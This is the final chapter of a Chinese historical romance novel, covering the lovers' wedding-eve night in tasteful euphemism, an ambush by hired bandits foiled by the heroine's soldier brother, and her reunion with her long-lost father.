陆执方喉结滚了滚,腰腹绷得僵硬,快要投降了,“送走你已很难,好不好,别再考验我了?” “我没想考验,”馥梨簌簌颤颤,紧张得很,两颊晕出酡色,还是定定凝望着他,“我想你陪我。” “陆执方,我想你陪我。” 心尖上的小娘子轻声软语地邀请,像火折子打开,最先露出的一点火星子,清风一过,绽出了一朵赤焰,滋啦一声,烧着陆执方维系理智的那根弦。 陆执方呼吸急促了一瞬,轻笑一声,吹灭了灯。 绣着垂丝海棠的外裳最先落下。 继而是素绢和软罗做的中衣,皱褶堆叠在一起。 昏暗之中,馥梨只觉得密密匝匝的吻落下,像是要在她身上盖满了印记,力度却柔似温泉水。她被圈在密不透风的怀抱里,听得陆执方声音暗哑,语气似微醺时肆意,“小梨儿舍得,我舍不得。” 他温热手掌一拢,叫她膝头相触,紧扣起来,“乖,别乱动,就这样。” 馥梨还未品味出有什么不对,他已沉身欺近。 薄帷透的漫漫月光里,青年郎君结实宽阔的肩膀轮廓,在她视线里摇动,忽远忽近地晃。 全身通感好似汇聚,如涓流奔涌。 流成一线,任他反复试探,偶尔有失控越界时,激得两人齐齐战栗。馥梨忍不住呜咽出声,又将手指抵住。陆执方克制着喘息,将她手指拿开。 “这层客栈没有旁人,无人听见,不用怕。” 安抚的吻落在指间,又落在她颈窝。 待她颈间渐渐发了薄汗,莺声才更婉转纵情,同他沉声微喘一起停顿起伏。 天边月轮西移,再西移。 陆执方抚过她薄汗浸润的脸颊,听得小娘子声音细细地疑问,“陆执方……我们这样……” “还不算。但迟姑娘若想悔婚,也晚了。” “谁说要反悔……”她累得要紧,后半句声音弱下去,还在同他强调,“我不会后悔的,你也不会。” 小娘子呼吸清浅,在余韵中安眠。 独留他品味初尝情爱的心摇神荡。 陆执方在昏暗里看了她许久,才披衣要来热水善后。床头小灯罩着柔纱,灯架下,他给的那枚香囊静静放着,小像被掏出来,重新折成了纸蜻蜓的形状。 陆执方拿起,薄薄的蜻蜓翅膀对着小灯,透出来小娘子新添的几个小字——陆执方平平安安。 馥梨离开定南的第三天,陆执方收到信报。 “世子爷,洛州港夜半出现了菱花纹徽标的商船。我们的人没能先接上头,商船一行人被人押着走,眼看是往定南府方向去了。” 荆芥去护送馥梨,黄柏赴京未归,定南剩下陆家派来的护卫,陆执方叫得出名字,却并非最默契得用的人。他听完信报,还是换上了夜行衣,“刀兵带上,洛州到定南就一条主道,随我去截人。” 若商船的人先他接触到嵇锐进,就会被控制起来,他往后要想再接触,只会更迂回艰难。 同一片国域的数百里之外。 馥梨同荆芥在榆中的边州遇到了山匪。 此地仍然属于榆中府和定南府的交界,刚出陶州百里内的范围,他们再骑一会儿,就能到计划好落脚的第二个官驿,再换马穿越榆中府腹地。 那群魁梧的山匪从山坡打马而下,手持双环大背刀,在烈日下映出刺眼辉光,人马数倍于他们。 “钱财交出来,娘们留下!” “快,将他们围起来!” “缴刀不杀!” 馥梨听得心头一跳,她已作男子打扮,这些人还未跑到近前,已经笃定了他们这一行人里有女子。 荆芥勒马,慢慢退到与她并行的距离。 他压低了声音道: “馥梨姑娘,待会儿护卫带你先突围,官驿有人驻守,你去求救,我和其余弟兄拖着这群人。” “这些不是普通山匪,能行吗?” “咱还扛得住,正好许久不练手了。” 荆芥嘿嘿一笑,面上胜券在握,并没有多少紧张,缰绳猛地一抽馥梨骑的马。 马儿嘶鸣着,直直朝山匪冲过去。 馥梨心头一突,左右两边闪出同行护卫,与她并驾,三两下击退了想要阻挠的悍匪,带她撕开了一道口子,往荆芥口中描述的官驿去。 她不放心地回头看,荆芥带着剩下护卫同山匪缠斗,困住了大部分,但还有几个悍匪朝她追来。 果真,是冲着她来的。 馥梨咬牙加快了马速。 身后有破空之声响起,箭簇一阵阵飞来,不袭击她,只袭击她骑着的马和左右紧紧跟随的护卫。 她心快要跳到嗓子眼,忽而听见一道清朗利落的声音,“小梨儿,头低下!”这把男嗓有叫她无比熟悉的感觉,她还未来得及分辨,人已低头俯身。 “放箭!” 更迅疾、更浩大的破空之声自前方来。 箭簇噗嗤地没入皮肉的声音和山匪的痛呼声在身后响起,不过眨眼间,紧随她的马蹄声停了。 馥梨愣怔,扭身看了一眼。 所有穷追不舍的山匪都倒下了,马匹东倒西歪在路上扬出风沙尘土。她再往前看,耀耀日光下,身形熟悉的男子一身红黑短打,马尾束得高高的,晒成了小麦肤色的面容上,英气眉目如记忆中锐利张扬。 他身后的高坡上,是排列齐整的弓箭手 “阿……”馥梨声音堵在了嗓子眼,“阿……” 迟晟不耐烦地甩了甩马尾,下马走到她身前,“好啊你,这么久不见,连阿兄都不会叫了。” “阿兄……阿兄!” 马背上的小姑娘攥着缰绳半天,忽地跳了下来,冲力快把迟晟也撞到了地上,幸而从军生涯练出稳如磐石的下盘才接住,“这么大个人了,还哭鼻子。” 迟晟怀抱一空,小妹已急得拉起他就跑。 “荆芥小哥还在后头,后头还有山匪,快快!” “你发懵那会儿,已经有骑兵赶过去了。” 迟晟不紧不慢,将她拧了个方向,拧回面朝官驿的地儿,“你的马没坏,先同我回驿站,不累吗?” 馥梨一步三回头,直到看到荆芥和几个护卫远远在骑兵陪伴下,全须全尾地赶上来,她才上了马。 “阿兄,你怎么知道我在这里?” “阿兄还没问你,那陆世子同你是什么关系?” 迟晟从襄州出境,潜伏良久得胜回来,才知家里出变故,匆忙回京受了封赏,就往淮州赶去,在整个淮州都找不到小妹,却一日比一日急地收到这位镇国公府世子的来信催促,叫他带能调动的人马到定南。 馥梨一时语塞,已过了最危急的关头,她乱糟糟的头脑清醒过来,“是世子爷写信让你来的?” 迟晟点头。 “一开始是让我来接你,信写到了侯府,后来发现我不在京中,又派人辗转到淮州找我。直到前一阵,叫我派人到榆中府和定南府的交界官道戒备等候。” 馥梨听过后恍然,陆执方不是前几日才起了送她走的心思,他自得知阿兄消息,还有五叔被困在如溪县时,就在谋划了。 “是定南知府想把我劫走作人质,等我出了陶州的地界,再被假山匪劫走,他就能撇清责任了。” 兄妹说话间,官驿到了,就在眼前。 馥梨连这一刻都等不了了,“阿兄,”她眼眶有些泛红,“你能不能派人去帮陆执方?他在查的案子就是我们家的,爹爹没有遇船难,他还活着。” 迟晟一指驿站门匾上的白鸽,“他最新寄来的信,已经将事情来龙去脉都说了,我的人,你看到的是这些,实际还有更多,都伪装成民壮,自陶州城去接应你嘴里这位世子爷。” “要不是同我迟家有关……” 迟晟扫了一眼她挂心的模样,心道这位陆世子心思缜密,走一步想三步,小妹心思浅,跟在他身边,岂能有不吃亏的理。怕是被人卖了还替他收钱。 馥梨不知他心思,人随他迈入了驿站。 “我如今已经安全,官驿有阿兄的人还有荆芥小哥在守着。阿兄能不能快些去帮帮他?” “……” 迟晟本就打算接到了她,再去支援,如今听亲妹这般催促,连坐下喝一口茶都等不及,不禁冷笑一声。此时正有手下提着两个山匪活口过来,迟晟拎了马鞭,咬牙切齿,“待我把这两人审完就去!” 这浑身憋气,正好出一出。 迟晟审到入夜,山匪果真是嵇锐进派来的。人捆起来先送到榆中官府,便策马赶去陶州。 馥梨在官驿坐定,还有些恍如隔世。 驿站里守着便装军士,随处可见气质如巨石沉默坚毅的身影,阿兄不开口时,也有这种感觉。她睡醒一觉,掐了掐自己的脸,又去看看那些军士。 阿兄真的回来了,真好。 她定了定心,每日哪儿也不去,就守在驿站。 房屋的窗台上撒着黄灿灿的粟米,等着信鸽。馥梨每隔一日,都能收到阿兄或者陆执方寄来的信。 信都很简单,大多数是寥寥几个字。字迹狂草写得飞横跋扈是阿兄的,端雅流畅是陆执方的—— “洛州商船已到港。” “父亲平安无事。” “已查探洋麻在山中作坊地点。” “已去信京中。” “明日围剿嵇府,顺利即返。” 信鸽的信,自这日就断了。 窗台铺满了黄灿灿的粟米,再无白鸽来啄食。 馥梨算着她与荆芥从定南到榆中的路程,一日两日三日……心在日复一日的等待中悬了起来,像是被一只无形的大手抓起来,时不时重力揉搓。 等到了第十日,再怎么慢慢磨蹭地启程,他们也该顺利到榆中边州的时候,驿站还是没有陆执方和阿兄的任何消息。馥梨一大早起来就换了轻便男装,拉开门看到荆芥守着,“馥梨姑娘。” “我等不及了,荆芥小哥,我想去找他。” 馥梨想绕开荆芥。 荆芥又一步拦在她面前,“世子爷他……” “我就是想知道他到底怎么了……” “他不挡着你,你就该扑空了。” 话音叠在一起,是陆执方沉静清冷的声音。 馥梨愣住,猛地回头,望见青年郎君风尘仆仆,依旧穿着那身黛蓝底白鹤纹圆领袍,衣袍旧了两分,还有破损。他一条手臂包扎着纱布,还能看出渗出来的血迹,就这么静静站在同一层厢房的回廊尽头。 馥梨眨眨眼,一步步走到陆执方面前。 她摸了摸他没受伤的那条手臂,结实的,透出来亲手可触摸的温热,“定南的事情,解决了?” “算是解决了,回来路程遇到些……” 陆执方话未讲完,馥梨已搂着他靠了过来,一边惦记着别压到他的手臂,一边轻声问:“我爹爹和阿兄可还好?都一起平安回来了吗?” 小娘子眼眶里有泪在打转,忍着不落下来。 声音轻得像是怕惊醒了一个不可置信的美梦。 陆执方垂眼,听见身后门吱呀一声拉开。 他轻咳了一声,“眼泪收一收,不然你父兄要觉得我欺负你了。”他侧身让了让,“今日生辰,上次说过的愿望,刚好实现,还不算晚。” 馥梨顺着那扇敞开的门看向屋内,阿兄扶着身形瘦削的锦衣男人,黑发中掺杂几根银发,面容有些沧桑,看她的目光很和蔼,眉眼弯起时绽出了笑纹。 “小梨儿。” “爹爹。” 馥梨喃喃,擦了擦眼睛,听见阿兄笑骂,“傻愣着干嘛,快过来呀。”她一下子松开了他,朝父兄跑去。 陆执方托着那受了轻伤的手臂看。 屋内朝阳的那扇窗开着,旭日东升,阳光正盛,照在一家团圆的父女兄妹身上,小娘子眼角的泪花熠熠,好似碎星子。哭红了的杏眼朝他轻眨,又露出个亮晶晶的笑来,唇边浮现一朵小小的梨涡。 “世子爷,我找到家里人了。” “嗯。” 他陆执方以后,也会是她的家里人。 心愿不必折成纸蜻蜓,不必丢进树洞里。 有一个算一个,统统都帮她实现。 —正文完—